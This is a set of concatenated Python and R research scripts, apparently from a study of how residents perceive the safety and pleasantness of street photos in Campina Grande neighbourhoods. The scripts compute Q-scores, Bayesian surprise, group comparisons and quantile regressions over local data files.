#print ">>> PDM " + str(scipy.stats.norm.cdf(data[prop][i]+0.01, norm_data[0], norm_data[1]) - scipy.stats.norm.cdf(data[prop][i]-0.01, norm_data[0], norm_data[1])) + " " + str(scipy.stats.norm.pdf(data[prop][i], norm_data[0], norm_data[1])) + " " + str(pDMs[2])
#Estimate P(M|D)
#uniform
pMDs[0] = pMs[0]*pDMs[0];
pMDs[1] = pMs[1]*pDMs[1];
pMDs[2] = pMs[2]*pDMs[2];
#Surprise is the sum of KL divergance across model space
#Each model also gets a weighted "vote" on what the sign should be
kl = 0
voteSum = 0
for j in range(0, len(pMDs)):
if pMDs[j] != 0 and pMs[j] == 0:
raise Exception("DKL is undefined que P(i) != 0 and Q(i) == 0")
if pMDs[j] == 0:
current_kl = 0.0
else:
current_kl = pMDs[j] * (np.log( pMDs[j] / pMs[j])/np.log(2))
kl = kl + current_kl
voteSum = voteSum + diffs[j]*pMs[j]
sum_diffs[j] = sum_diffs[j] + abs(diffs[j])
#if j == 2:
# print ">>> Normal " + str(norm_estimate) + " " + str(current_kl) + " " + str(kl)
if voteSum >= 0:
if street_index == len(streets) - 1:
surprise_data[prop][i] = abs(kl)
else:
if street_index == len(streets) - 1:
surprise_data[prop][i] = -1 * abs(kl)
uniform_data[prop][i] = pMs[0]
base_data[prop][i] = pMs[1]
#Now lets globally update our model belief.
for j in range(0, len(pMs)):
pDMs[j] = 1 - 0.5 * sum_diffs[j]
pMDs[j] = pMs[j] * pDMs[j]
pMs[j] = pMDs[j]
#Normalize
summ = np.sum(pMs)
for j in range(0, len(pMs)):
pMs[j] = pMs[j] / summ
uniform_pM.append(pMs[0])
base_rate_pM.append(pMs[1])
normal_pM.append(pMs[2])
return [surprise_data, uniform_data, base_data, uniform_pM, base_rate_pM, normal_pM]
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <3 arquivos com scores a considerar: 20, 28 e 40 pontos>"
sys.exit(1)
#Init algorithm
data = {}
surprise_data = {}
uniform = {}
boom = {}
bust = {}
max_street = {}
min_street = {}
input_data = pd.read_table(sys.argv[1], sep=',', encoding='utf8', header=0)
input_data2 = pd.read_table(sys.argv[2], sep=',', encoding='utf8', header=0)
input_data3 = pd.read_table(sys.argv[3], sep=',', encoding='utf8', header=0)
num_of_points = max(len(input_data.columns), len(input_data2.columns), len(input_data3.columns))
data = {}
street_sizes = {}
for dataframe in [input_data, input_data2, input_data3]:
current_num_of_points = len(dataframe.columns)-1
for index, row in dataframe.iterrows():
if current_num_of_points == 20:
data[row['street']] = [row['num1'], row['num2'], row['num3'], row['num4'], row['num5'], row['num6'], row['num7'], row['num8'], row['num9'], row['num10'], row['num11'], row['num12'], row['num13'], row['num14'], row['num15'], row['num16'], row['num17'], row['num18'], row['num19'], row['num20'], -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
street_sizes[row['street']] = 20
elif current_num_of_points == 28:
data[row['street']] = [row['num1'], row['num2'], row['num3'], row['num4'], row['num5'], row['num6'], row['num7'], row['num8'], row['num9'], row['num10'], row['num11'], row['num12'], row['num13'], row['num14'], row['num15'], row['num16'], row['num17'], row['num18'], row['num19'], row['num20'], row['num21'], row['num22'], row['num23'], row['num24'], row['num25'], row['num26'], row['num27'], row['num28'], -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
street_sizes[row['street']] = 28
else:
data[row['street']] = [row['num1'], row['num2'], row['num3'], row['num4'], row['num5'], row['num6'], row['num7'], row['num8'], row['num9'], row['num10'], row['num11'], row['num12'], row['num13'], row['num14'], row['num15'], row['num16'], row['num17'], row['num18'], row['num19'], row['num20'], row['num21'], row['num22'], row['num23'], row['num24'], row['num25'], row['num26'], row['num27'], row['num28'], row['num29'], row['num30'], row['num31'], row['num32'], row['num33'], row['num34'], row['num35'], row['num36'], row['num37'], row['num38'], row['num39'], row['num40']]
street_sizes[row['street']] = 40
#print str(data)
#Creating variables to store values over iterations
all_surprise = {}
all_uniform = {}
all_base = {}
all_uniform_pM = []
all_base_pM = []
all_normal_pM = []
surprise_summary = {}
uniform_summary = {}
base_summary = {}
for dataframe in [input_data, input_data2, input_data3]:
for prop in dataframe['street']:
street_size = street_sizes[prop]
all_surprise[prop] = [[] for x in range(street_size)]
all_uniform[prop] = [[] for x in range(street_size)]
all_base[prop] = [[] for x in range(street_size)]
surprise_summary[prop] = [[] for x in range(street_size)]
uniform_summary[prop] = [[] for x in range(street_size)]
base_summary[prop] = [[] for x in range(street_size)]
#Multiple calculations of surprise values and storing calculus results
for i in range(0, 700000):
result = calcSurprise(num_of_points, street_sizes, all_uniform_pM, all_base_pM, all_normal_pM)
#print str(result)
surprise_data = result[0]
uniform_data = result[1]
base_data = result[2]
uniform_pM = result[3]
base_rate_pM = result[4]
normal_pM = result[5]
all_uniform_pM.append(uniform_pM[-1])
all_base_pM.append(base_rate_pM[-1])
all_normal_pM.append(normal_pM[-1])
#print ">>> Surprise data " + str(surprise_data)
for dataframe in [input_data, input_data2, input_data3]:
for prop in dataframe['street']:
street_size = street_sizes[prop]
if prop in surprise_data:
if surprise_data[prop][0] != -999:
for i in range(0, street_size):
all_surprise[prop][i].append(surprise_data[prop][i])
all_uniform[prop][i].append(uniform_data[prop][i])
all_base[prop][i].append(base_data[prop][i])
#Calculating summaries
for dataframe in [input_data, input_data2, input_data3]:
for prop in dataframe['street']:
street_size = street_sizes[prop]
for i in range(0, street_size):
surprise_summary[prop][i] = np.mean(all_surprise[prop][i])
uniform_summary[prop][i] = np.mean(all_uniform[prop][i])
base_summary[prop][i] = np.mean(all_base[prop][i])
#Printing confidence in models
print ">>> Uniform pM " + str(np.mean(all_uniform_pM)) + " " + str(np.std(all_uniform_pM)) + " [" + str( np.mean(all_uniform_pM) + 1.96 * np.std(all_uniform_pM) / len(all_uniform_pM) ) + "," + str( np.mean(all_uniform_pM) - 1.96 * np.std(all_uniform_pM) / len(all_uniform_pM) ) + "]"
print ">>> Base Rate pM " + str(np.mean(all_base_pM)) + " " + str(np.std(all_base_pM)) + " [" + str( np.mean(all_base_pM) + 1.96 * np.std(all_base_pM) / len(all_base_pM) ) + "," + str( np.mean(all_base_pM) - 1.96 * np.std(all_base_pM) / len(all_base_pM) ) + "]"
print ">>> Normal pM " + str(np.mean(all_normal_pM)) + " " + str(np.std(all_normal_pM)) + " [" + str( np.mean(all_normal_pM) + 1.96 * np.std(all_normal_pM) / len(all_normal_pM) ) + "," + str( np.mean(all_normal_pM) - 1.96 * np.std(all_normal_pM) / len(all_normal_pM) ) + "]"
#Printing surprise values summaries
for prop in surprise_summary:
print prop.encode("utf-8") + "," + ','.join(str(i) for i in surprise_summary[prop])
#Printing mean and std values for surprise
std_file = open("surprise_std.dat", "w")
for prop in all_surprise:
street_size = street_sizes[prop]
for i in range(0, street_size):
std_file.write(prop.encode("utf-8") + "\t" + str(np.mean(np.mean(all_surprise[prop][i]))) + "\t" + str(np.std(all_surprise[prop][i])) + "\t" + str(len(all_surprise[prop][i])) + "\n")
std_file.close()
<file_sep># coding=utf-8
import sys
#Filters neighborhood and streets occurrences
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo bairros e ruas>"
sys.exit(1)
dataFile = open(sys.argv[1], "r")
lines = dataFile.readlines()
occurrences = {"centro" : {}, "catole" : {}, "liberdade" : {}}
#Saving amount of criminal occurrences in each street
for line in lines:
data = line.split("\t")
if len(data) > 1:
neig = data[0].strip().lower()
street = data[1].strip().lower()
if neig == "centro":
if street in occurrences['centro'].keys():
oldValue = occurrences['centro'][street]
occurrences['centro'][street] = oldValue + 1
else:
occurrences['centro'][street] = 1
elif 'cat' in neig[0:3]:
if street in occurrences['catole'].keys():
oldValue = occurrences['catole'][street]
occurrences['catole'][street] = oldValue + 1
else:
occurrences['catole'][street] = 1
elif neig == "liberdade":
if street in occurrences['liberdade'].keys():
oldValue = occurrences['liberdade'][street]
occurrences['liberdade'][street] = oldValue + 1
else:
occurrences['liberdade'][street] = 1
#Printing output
for neig in occurrences.keys():
neigOcc = occurrences[neig]
for street in neigOcc.keys():
amount = neigOcc[street]
print neig + "\t" + street + "\t" + str(amount)
<file_sep># coding=utf-8
# Le as definicoes de tarefas de acordo com MaxDiff para calcular a quantidade de tarefas em que cada foto aparece
import sys
import random
import json
import csv
import pandas as pd
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
counters = { possibleQuestions[0] : {}, possibleQuestions[1]: {} }
def count_photos_appearances(dataFile):
lines = dataFile.readlines()
for line in lines:
lineData = line.split("+")
definition = lineData[7].strip(' \t\n\r"')
data = json.loads(definition)
if data['question'].strip(' \t\n\r"') == "agradavel":
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photos = [data['url_a'], data['url_b'], data['url_c'], data['url_d']]
current_counters = counters[question]
for photo in photos:
if photo in current_counters.keys():
counter = current_counters[photo]
else:
counter = 0
current_counters[photo] = counter + 1
#Showing appearances
for question in counters.keys():
question_data = counters[question]
for photo in question_data.keys():
photo_counter = question_data[photo]
print (question + "\t" + str(photo) + "\t" + str(photo_counter))
if __name__ == "__main__":
if len(sys.argv) < 2:
print ("Uso: <arquivo com definicoes das tarefas>")
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
count_photos_appearances(dataFile)
<file_sep>library(RSofia)
library(dplyr)
data(irismod)
i.TRAIN <- sample(1:nrow(irismod), 100)
model.logreg <- sofia(Is.Virginica ~ ., data=irismod[i.TRAIN,], learner_type = "logreg-pegasos")#Selecting some lines
p <- predict(model.logreg, newdata=irismod[-1*i.TRAIN,], prediction_type = "logistic")#Predicting for other lines!
table(predicted=p>0.5, actual=irismod[-1*i.TRAIN,]$Is.Virginica)
#Reading input in classifier format
dataCampina <- read.table("classifier_input.dat", header=TRUE, sep="\t")
#Training with all predicors
toTrain <- sample(1:nrow(dataCampina), nrow(dataCampina)*0.8)
model.logreg <- sofia(choice ~ age + gender + income + marital + street_wid1 + mov_cars1 + park_cars1 +
mov_ciclyst1 + landscape1 + build_ident1 + trees1 + build_height1 + diff_build1 +
people1 + graffiti1 + bairro1 + street_wid2 + mov_cars2 + park_cars2 + mov_ciclyst2 +
landscape2 + build_ident2 + trees2 + build_height2 + diff_build2 + people2 + graffiti2 +
bairro2, data=dataCampina[toTrain,], learner_type = "logreg-pegasos")#Selecting some lines
p <- predict(model.logreg, newdata = dataCampina[-1*toTrain,], prediction_type = "logistic")#Predicting for other lines!
table(predicted = p>0.5, actual = dataCampina[-1*toTrain,]$choice)
#Training only with image descriptors!
toTrain <- sample(1:nrow(dataCampina), nrow(dataCampina)*0.8)
model.logreg <- sofia(choice ~ street_wid1 + mov_cars1 + park_cars1 +
mov_ciclyst1 + landscape1 + build_ident1 + trees1 + build_height1 + diff_build1 +
people1 + graffiti1 + bairro1 + street_wid2 + mov_cars2 + park_cars2 + mov_ciclyst2 +
landscape2 + build_ident2 + trees2 + build_height2 + diff_build2 + people2 + graffiti2 +
bairro2, data=dataCampina[toTrain,], learner_type = "logreg-pegasos")#Selecting some lines
p <- predict(model.logreg, newdata = dataCampina[-1*toTrain,], prediction_type = "logistic")#Predicting for other lines!
table(predicted = p>0.5, actual = dataCampina[-1*toTrain,]$choice)
<file_sep>#!/bin/Rscript
# Calculates the t.test for a set of two data sets
args <- commandArgs(trailingOnly = TRUE)
data1 = read.table(args[1])
data2 = read.table(args[2])
print(">> Equal")
t.test(data1$V3, data2$V3, alternative="t")
print(">> Less")
t.test(data1$V3, data2$V3, alternative="l")
print(">> Greater")
t.test(data1$V3, data2$V3, alternative="g")
<file_sep># coding=utf-8
# Given the randomized ids for a certain group and the whole set of ids for the group looks for the difference in ids in order to call script selectRunPerUsers to remove the corresponding ids of this difference
import sys
from sets import Set
import random
import numpy as np
import json
import csv
import pandas as pd
import os, fnmatch
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <grupo a considerar: masculino, feminino, adulto, jovem, media ou baixa> <arquivo de ids a considerar>"
sys.exit(1)
group = sys.argv[1]
base_file = group + ".dat"
base_data = pd.read_table(base_file, sep='\s+', encoding='utf8', skiprows=0)
base_data.columns = ['id']
#selected_files = fnmatch.filter(os.listdir('.'), group+'_*.dat')
#for filename in selected_files:
filename = sys.argv[2]
random_data = pd.read_table(filename, sep='\s+', encoding='utf8', skiprows=0)
random_data.columns = ['id']
difference = list(set(base_data['id'].values) - set(random_data['id'].values))
output_file = open("diff_"+group+"_"+filename.split("_")[1].split(".")[0]+".dat", "w")
output_file.write("[]\n")
for id in difference:
output_file.write(str(id)+"\n")
output_file.close()
<file_sep>library(ggplot2)
theme_set(theme_bw())
library(dplyr)
library(reshape2)
source('analisaICPorFoto.R')
dados <- read.table("geral.dat", header=TRUE)
dadosCopy <- dados
#Intervalo de confiança por ponto
# <nazareno> Não estou usando por agora.
qscoreSim <- dadosCopy [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
dadosCopy$distance <- icData
dadosCopy <- select(dadosCopy, V2, V1, V3, grupo, bairro)
dados_pro_plot <- function(data, grupo1, grupo2, pergunta){
grupos_e_pergunta.index <- (data$grupo == grupo1 | dadosCopy$grupo == grupo2) & dadosCopy$V1==pergunta
dados_CS_S.l <- dadosCopy[grupos_e_pergunta.index,]
names(dados_CS_S.l) <- c("Local", "Pergunta", "QScore", "grupo", "bairro")
# Qscore > rank
dados_CS_S.l <- dados_CS_S.l %>%
group_by(grupo) %>%
do(arrange(., desc(QScore))) %>%
group_by(grupo, bairro) %>%
mutate(rank = 1:n())
dados_CS_S.l$QScore <- NULL
# long to wide
dados_CS_S <- dcast(dados_CS_S.l, Local + bairro + Pergunta ~ grupo, value.var = "rank")
# ordenar e colocar indices (deve haver uma forma melhor)
dados_CS_S <- dados_CS_S %>%
group_by(bairro) %>%
do(arrange(., Casado)) %>%
group_by(bairro) %>%
mutate(index = 1:n())
# back to long
dados_CS_S.l <- melt(dados_CS_S, id.vars = names(dados_CS_S)[c(-4, -5)])
names(dados_CS_S.l)[5] <- "grupo"
names(dados_CS_S.l)[6] <- "rank"
dados_CS_S.l
}
#Seguro
grupo1 <- 'Casado'
grupo2 <- 'Solteiro'
pergunta <- 'seguro?'
osdados <- dados_pro_plot(dadosCopy, grupo1, grupo2, pergunta)
w = 8
h = 2.7
pdf("casados-solteiros-seguro.pdf", width = w, height = h)
ggplot(osdados, aes(x=index, y = rank, colour=grupo, fill = grupo)) +
geom_point(alpha = 0.7, size=1.7) +
geom_line(aes(group = index), colour = "grey80") +
xlab("Local") +
ylab("rank") +
scale_y_reverse(limits = c(39, 1)) +
facet_grid(. ~ bairro)
#scale_x_discrete(breaks=seq(1, 36, by=5))
dev.off()
pergunta <- 'agrad%C3%A1vel?'
osdados <- dados_pro_plot(dadosCopy, grupo1, grupo2, pergunta)
pdf("casados-solteiros-agradavel.pdf", width = w, height = h)
ggplot(osdados, aes(x=index, y = rank, colour=grupo, fill = grupo)) +
geom_point(alpha = 0.7, size=1.7) +
geom_line(aes(group = index), colour = "grey80") +
xlab("Local") +
ylab("rank") +
scale_y_reverse(limits = c(39, 1)) +
facet_grid(. ~ bairro)
#scale_x_discrete(breaks=seq(1, 36, by=5))
dev.off()
<file_sep># coding=utf-8
import sys
#import pdb
#photos considered in comparisons
allPhotos = set([])
#questions aspects
#unique = "único".decode('utf-8')
#safe = "seguro"
#beauty = "bonito"
#rich = "rico"
unique = "3"
safe = "2"
beauty = "1"
rich = "4"
aspects = [unique, safe, beauty, rich]
#dictionaries used to save photos comparisons results
winsPhotosPerQuestion = {unique:{}, safe:{}, beauty:{}, rich:{}}
lossesPhotosPerQuestion = {unique:{}, safe:{}, beauty:{}, rich:{}}
#dictionaries used to save photos win, loss and draw counters
winsPerQuestion = {unique:{}, safe:{}, beauty:{}, rich:{}}
lossesPerQuestion = {unique:{}, safe:{}, beauty:{}, rich:{}}
drawsPerQuestion = {unique:{}, safe:{}, beauty:{}, rich:{}}
def saveDraw(photo1, photo2, question):
"""Computing photos comparison when there is no winner."""
draws = drawsPerQuestion[question]
if not draws.has_key(photo1):
draws[photo1] = 0
if not draws.has_key(photo2):
draws[photo2] = 0
draws[photo1] += 1
draws[photo2] += 1
def saveWin(winPhoto, lossPhoto, question):
"""Computing photos comparison when there is a winner."""
#pdb.set_trace()
#Saving that winPhoto won against lossPhoto and updating winPhoto counter
winsPhotos = winsPhotosPerQuestion[question]
if not winsPhotos.has_key(winPhoto):
winsPhotos[winPhoto] = set([])
winsPhotos[winPhoto].add(lossPhoto)
winsCounter = winsPerQuestion[question]
if not winsCounter.has_key(winPhoto):
winsCounter[winPhoto] = 0
winsCounter[winPhoto] += 1
#Saving that lossPhoto lost against winPhoto and updating lossPhoto counter
lossPhotos = lossesPhotosPerQuestion[question]
if not lossPhotos.has_key(lossPhoto):
lossPhotos[lossPhoto] = set([])
lossPhotos[lossPhoto].add(winPhoto)
lossCounter = lossesPerQuestion[question]
if not lossCounter.has_key(lossPhoto):
lossCounter[lossPhoto] = 0
lossCounter[lossPhoto] += 1
def calcWiu(photo, question):
"""Computing Wiu component of QScore."""
#pdb.set_trace()
if not winsPerQuestion[question].has_key(photo):
wiu = 0
else:
wiu = winsPerQuestion[question][photo]
if not lossesPerQuestion[question].has_key(photo):
liu = 0
else:
liu = lossesPerQuestion[question][photo]
if not drawsPerQuestion[question].has_key(photo):
tiu = 0
else:
tiu = drawsPerQuestion[question][photo]
#Computing Wi,u
if wiu == 0 and liu == 0 and tiu == 0:
return 0
Wiu = ((1.0*wiu) / (wiu + liu + tiu))
return Wiu
def calcLiu(photo, question):
"""Computing Liu component of QScore."""
if not winsPerQuestion[question].has_key(photo):
wiu = 0
else:
wiu = winsPerQuestion[question][photo]
if not lossesPerQuestion[question].has_key(photo):
liu = 0
else:
liu = lossesPerQuestion[question][photo]
if not drawsPerQuestion[question].has_key(photo):
tiu = 0
else:
tiu = drawsPerQuestion[question][photo]
#Computing Li,u
if wiu == 0 and liu == 0 and tiu == 0:
return 0
Liu = ((1.0*liu) / (wiu + liu + tiu))
return Liu
def computeQScores(allPhotos):
"""Computing qscore of each photo used in experiment."""
for question in aspects:
for photo in allPhotos:
#if photo == "floriano_3902.jpg" and question == unique:
#pdb.set_trace()
#if winsPhotosPerQuestion[question].has_key("floriano_3902.jpg"):
# print winsPhotosPerQuestion[beauty]["floriano_3902.jpg"]
Wiu = calcWiu(photo, question)
#Computing factors
if winsPhotosPerQuestion[question].has_key(photo):
niw = len(winsPhotosPerQuestion[question][photo])
fac1 = 0
for photo1 in winsPhotosPerQuestion[question][photo]:
currentWiu = calcWiu(photo1, question)
fac1 += currentWiu
fac1 = (1.0 * fac1) / niw
else:
fac1 = 0
if lossesPhotosPerQuestion[question].has_key(photo):
nil = len(lossesPhotosPerQuestion[question][photo])
fac2 = 0
for photo2 in lossesPhotosPerQuestion[question][photo]:
currentLiu = calcLiu(photo2, question)
fac2 += currentLiu
fac2 = (1.0 * fac2) / nil
else:
fac2 = 0
#Computing Q-score for photo related to question
if not winsPhotosPerQuestion[question].has_key(photo) and not lossesPhotosPerQuestion[question].has_key(photo) and not drawsPerQuestion[question].has_key(photo):
Qiu = -1#Photo has not participated in any comparison!
else:
Qiu = 10/3.0 * (Wiu + fac1 - fac2 + 1)
print question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(Qiu)
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <arquivo com dados>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
for line in lines:
data = line.split("\t")
question = data[1].strip(' \t\n\r')
answer = data[2].strip(' \t\n\r')
photo1 = data[3].strip(' \t\n\r')
photo2 = data[4].strip(' \t\n\r')
if answer == 'Left':
saveWin(photo1, photo2, question)
elif answer == 'Right':
saveWin(photo2, photo1, question)
elif answer == 'NotKnown':
saveDraw(photo1, photo2, question)
allPhotos.add(photo1)
allPhotos.add(photo2)
computeQScores(allPhotos)
<file_sep># coding=utf-8
#Script to estimate user contributions per image
import sys
import time as tm
import datetime
from sets import Set
import json
import numpy as np
from collections import Counter
def readUserData(lines, tasks_def, output_filename):
""" Reading user profile """
users_best_counter = {}
users_worst_counter = {}
agrad_dic = {"agradavel?" : "agrad%C3%A1vel?", "agrad%C3%A1vel?" : "agradavel?"}
#Reading from pybossa task-run CSV and tasks definitions in order to count users contributions per image
for line in lines:
data = line.split("+")
task_id = data[3]
user_id = data[4]
user_answer = data[9].strip(' \t\n\r"')
answer_data = json.loads(user_answer)
photo_most = answer_data['theMost'].strip(' \t\n\r"')
photo_less = answer_data['theLess'].strip(' \t\n\r"')
task_def = tasks_def[task_id]
if user_id in users_best_counter.keys():
best_counters = users_best_counter[user_id]
wost_counters = users_worst_counter[user_id]
else:
best_counters = {}
worst_counters = {}
photos_selected = [photo_most, photo_less]
#Persisting user contributions as best and worst images
if photo_most != "equal" and photo_less != "equal" and len(photo_most) > 0 and len(photo_less) > 0:
for index in range(0, 2):
if index == 0:
user_counters = best_counters
else:
user_counters = worst_counters
image = photos_selected[index]
if image in user_counters:
image_counter = user_counters[image]
else:
image_counter = 0
image_counter = image_counter + 1
user_counters[image] = image_counter
#Persisting user contributions for all evaluated images
#for key in ['url_a', 'url_b', 'url_c', 'url_d']:
# image = task_def[key]
# if image in user_counters:
# image_counter = user_counters[image]
# else:
# image_counter = 0
#
# image_counter = image_counter + 1
# user_counters[image] = image_counter
users_best_counter[user_id] = best_counters
users_worst_counter[user_id] = worst_counters
output_file = open(output_filename, "w")
all_values = []
for user_id in users_best_counter.keys():
user_counters = users_best_counter[user_id]
for image in user_counters.keys():
counter = user_counters[image]
output_file.write(str(user_id)+"\tbest\t"+str(image.encode("utf8"))+"\t"+str(counter)+"\n")
all_values.append(counter)
output_file.write(str(Counter(all_values))+"\n")
all_values = []
for user_id in users_worst_counter.keys():
user_counters = users_worst_counter[user_id]
for image in user_counters.keys():
counter = user_counters[image]
output_file.write(str(user_id)+"\tworst\t"+str(image.encode("utf8"))+"\t"+str(counter)+"\n")
all_values.append(counter)
output_file.write(str(Counter(all_values))+"\n")
output_file.close()
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
#print data
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execucoes das tarefas e perfis dos usuarios - V2> <arquivo com definicoes das tarefas>"
sys.exit(1)
data_file1 = open(sys.argv[1], 'r')
data_file2 = open(sys.argv[2], 'r')
lines_task_run = data_file1.readlines()
lines_tasks_def = data_file2.readlines()
tasks_def = readTasksDefinitions(lines_tasks_def)
usersTasks = readUserData(lines_task_run, tasks_def, "users-tasks.dat")
data_file1.close()
data_file2.close()
<file_sep># coding=utf-8
# Evaluates groups of ids for a certain group and randomizes ids according to the number of ids in the other group!
import sys
from sets import Set
import random
import numpy as np
import json
import csv
import pandas as pd
if __name__ == "__main__":
if len(sys.argv) < 5:
print "Uso: <method:igual, desb> <outros dados>"
print "igual -> <arquivo de grupo cujos ids devem ser mantidos> <arquivo de grupo cujos ids devem ser sorteados> <numero de sorteios desejados>"
print "desb -> <tamanho grupo 1> <tamanho grupo 2> <arquivo grupo 1> <arquivo grupo 2> <numero de sorteios desejados>"
sys.exit(1)
method = sys.argv[1]
if method == "igual":
base_file = sys.argv[2]
file_to_random = sys.argv[3]
num_of_randomizations = int(sys.argv[4])
base_data = pd.read_table(base_file, sep='\s+', encoding='utf8', skiprows=0)
base_data.columns = ['id']
data_to_random = pd.read_table(file_to_random, sep='\s+', encoding='utf8', skiprows=1)
data_to_random.columns = ['id']
if len(base_data['id']) == len(data_to_random['id']):
print "Data arrays are already of same length! Could not randomize different data!"
sys.exit(1)
elif len(base_data['id']) > len(data_to_random['id']):
print "Array to randomize is smaller than base array, so randomization can not be perform to have both arrays with same length!"
else:
for i in range(0, num_of_randomizations):
random_data = data_to_random.take(np.random.permutation(len(data_to_random))[:len(base_data)])
group = file_to_random.split(".")[0]
output_file = open(group+"_"+str(i)+".dat", "w")
output_file.write("[]\n")
for index, row in random_data.iterrows():
output_file.write(str(row['id'])+"\n")
output_file.close()
elif method == "desb":
group1_size = int(sys.argv[2])
group2_size = int(sys.argv[3])
group1_file = sys.argv[4]
group2_file = sys.argv[5]
num_of_randomizations = int(sys.argv[6])
g1_data = pd.read_table(group1_file, sep='\s+', encoding='utf8', skiprows=0)
g1_data.columns = ['id']
g2_data = pd.read_table(group2_file, sep='\s+', encoding='utf8', skiprows=0)
g2_data.columns = ['id']
group1 = group1_file.split(".")[0]
group2 = group2_file.split(".")[0]
print str(g1_data)
for i in range(0, num_of_randomizations):
#random_g1 = g1_data.take(np.random.permutation(len(g1_data))[:group1_size])
#random_g2 = g2_data.take(np.random.permutation(len(g2_data))[:group2_size])
random_g1 = np.random.choice(g1_data['id'], size=group1_size, replace=True)
random_g2 = np.random.choice(g2_data['id'], size=group2_size, replace=True)
output_file1 = open(group1+"_"+str(i)+".dat", "w")
output_file1.write("[]\n")
output_file2 = open(group2+"_"+str(i)+".dat", "w")
output_file2.write("[]\n")
#for index, row in random_g1.iterrows():
for value in random_g1:
output_file1.write(str(value)+"\n")
#for index, row in random_g2.iterrows():
for value in random_g2:
output_file2.write(str(value)+"\n")
output_file1.close()
output_file2.close()
else:
print "ERROR! Invalid method used!"
sys.exit(1)
<file_sep># coding=utf-8
#Analyses the intersection of two QScore rankings in order to find the amount of photos ranked in common
import sys
from sets import Set
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo1 com ranking das fotos> <arquivo2 com ranking das fotos>"
sys.exit(1)
file1 = open(sys.argv[1], "r")
file2 = open(sys.argv[2], "r")
data1 = file1.readlines()
data2 = file2.readlines()
photos1 = {possibleQuestions[0]:Set([]), possibleQuestions[1]:Set([])}
photos2 = {possibleQuestions[0]:Set([]), possibleQuestions[1]:Set([])}
#First file
for line in data1:
dados = line.split("\t")
if float(dados[2].strip()) != -1:#Checking if photo received a QScore
photos1[dados[0]].add(dados[1])
#Second file
for line in data2:
dados = line.split("\t")
if float(dados[2].strip()) != -1:#Checking if photo received a QScore
photos2[dados[0]].add(dados[1])
for question in possibleQuestions:
set1 = photos1[question]
set2 = photos2[question]
intersection = set1.intersection(set2)
print question+"\t"+str(len(intersection)) + "\t" + str(intersection)
<file_sep>
# coding: utf-8
# In[1]:
get_ipython().magic(u'matplotlib inline')
from __future__ import division, print_function
from scipy import stats as ss
from sklearn.preprocessing import MinMaxScaler
from statsmodels.stats import multitest
from statsmodels.regression.quantile_regression import QuantReg
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
# Quantile Regression Results
# ===========================
#
# Quantile regression is a interesting for our problem because it:
# - Is robust to non non-normal errors and outliers
#
# http://fmwww.bc.edu/EC-C/S2013/823/EC823.S2013.nn04.slides.pdf
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# - Focuses on the conditional quantiles. Allows for better interpretation of effects
# of variables. In a lot of cases, the effect is not on the conditional mean (OLS assumption)
#
# http://fmwww.bc.edu/EC-C/S2013/823/EC823.S2013.nn04.slides.pdf
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# - Is robust to data representation (no need to normalize etc etc)
#
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# Good ref for math mechanics:
# http://www.jmlr.org/papers/volume7/meinshausen06a/meinshausen06a.pdf
#
# Nice introduction for other fields:
# http://www.econ.uiuc.edu/~roger/research/rq/QReco.pdf
# Quantile Regression Crash Course
# --------------------------------
#
# Plots from:
# http://www.econ.uiuc.edu/~roger/research/rq/QReco.pdf
#
# Important ref!
#
# http://ajbuckeconbikesail.net/Econ616/Quantile/JASA1999.pdf
# https://www.jstor.org/stable/2669943
#
# (this ref provides intuiton on how to use the method, for now we can ignore the math)
# **First of, what do we mean by conditional quantiles**
# In[2]:
from IPython.display import Image
Image(filename='ex1.png')
# **First task**
#
# Find out where the variables matter (left plot)
#
# Left plot is a r-squared like value. Greater is best. But interpretation of variance does not exist.
# From this paper and others, I noticed that the ideia is less of trying to maximize this. It is a tool
# to interpret where the covariates matter.
#
# ** Second task **
#
# Look into the effect of covaritates (right plot)
#
# ps: I don't fully understand the middle plot, it is similar to the right one but another quality measure.
# In[3]:
from IPython.display import Image
Image(filename='ex2.png')
# In[4]:
from IPython.display import Image
Image(filename='ex2.png')
# In[ ]:
# In[5]:
df = pd.read_csv('pleasantness.dat', sep=' ')
df['graffiti'] = np.array(df['graffiti'] == 'Yes', dtype='d')
features = ['mov_cars', 'park_cars', 'landscape',
'mov_ciclyst', 'street_wid', 'build_ident', 'trees',
'diff_build', 'people', 'build_height', 'graffiti']#, 'red', 'green', 'blue', 'debris']
# In[6]:
np.warnings.filterwarnings("ignore")
groups = [('Jovem', 'Adulto'), ('Masculino', 'Feminino'), ('Baixa', 'Media'), ('Casado', 'Solteiro')]
yLimits = {}
for first_min_second in groups:
print('!!!!!!!!!!!!!!!')
print(first_min_second)
print('!!!!!!!!!!!!!!!')
rankg1 = df['V3.%s' % first_min_second[0]].argsort()
rankg2 = df['V3.%s' % first_min_second[1]].argsort()
rankg1 = rankg1.values#Ascending order!
rankg2 = rankg2.values
response = np.array((rankg1 - rankg2), dtype='d')# ** 3
#rankg1 = df['V3.%s' % first_min_second[0]].argsort().values#Increasing order!
#rankg2 = df['V3.%s' % first_min_second[1]].argsort().values
#response = np.array((rankg1 - rankg2), dtype='d')# ** 3
#response = MinMaxScaler().fit_transform(response[:, None])[:, 0]
